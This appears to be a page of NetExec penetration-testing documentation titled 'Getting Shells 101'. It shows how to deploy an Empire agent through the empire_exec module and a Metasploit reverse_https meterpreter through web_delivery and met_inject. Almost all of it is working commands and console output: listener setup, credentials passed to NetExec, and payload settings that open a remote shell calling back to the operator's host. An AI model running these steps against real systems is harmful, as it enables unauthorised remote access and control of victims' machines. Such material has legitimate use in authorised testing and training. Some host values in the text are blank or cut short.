Getting Shells 101

Getting Shells 101

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Empire Agent

Use the new Empire in Python3

We can use the empire_exec module to execute an Empire Agent's initial stager. In the background, the module connects to Empire's RESTful API, generates a launcher for the specified listener and executes it.

  • First setup the rest API:

#~ python powershell-empire --rest --user empireadmin --pass Password123!
[*] Loading modules from: /home/mpgn/Tools/Empire/lib/modules/
 * Starting Empire RESTful API on port: 1337
 * RESTful API token: l5l051eqiqe70c75dis68qjheg7b19di7n8auzml
 * Running on (Press CTRL+C to quit)
  • Second setup a listener:

(Empire: listeners) > set Name test
(Empire: listeners) > set Host
(Empire: listeners) > set Port 9090
(Empire: listeners) > set CertPath data/empire.pem
(Empire: listeners) > run
(Empire: listeners) > list

[*] Active listeners:

  ID    Name              Host                                 Type      Delay/Jitter   KillDate    Redirect Target
  --    ----              ----                                 -------   ------------   --------    ---------------
  1     test                     native    5/0.0                      

(Empire: listeners) > 

The username and password that nxc uses to authenticate to Empire's RESTful API are stored in the nxc.conf file located at ~/.nxc/nxc.conf:


  • Then just run the empire_exec module and specify the listener name:

#~ NetExec -u username -p password -M empire_exec -o LISTENER=test


We can use the metinject module launch a meterpreter using Invoke-MetasploitPayload Invoke-MetasploitPayload.ps1 script.

On your Metasploit instance, run the following commands

use exploit/multi/script/web_delivery

The SRVHOST and SRVPORT variables are used for running the webserver to host the script

set SRVHOST 10.211.55
set SRVPORT 8443

The target variable determines what type of script we're using. 2 is for PowerShell

set target 2

Pick your payload. In this case, we'll use a reverse https meterpreter payload

set payload windows/meterpreter/reverse_https
set LHOST 10.211.55
set LPORT 443

Run the exploit

run -j

Once run, the web_delivery module will spin up the webserver to host the script and reverse listener for our meterpreter session.

msf exploit(web_delivery) > run -j
[*] Exploit running as background job.

[*] Started HTTPS reverse handler on
[*] Using URL:
[*] Local IP:
[*] Server started.
  • Then just run the met_inject module and specify the LHOST and LPORT values:

#~ NetExec -u username -p password -M met_inject -o SRVHOST= SRVPORT=8443 RAND=eYEssEwv2D SSL=http

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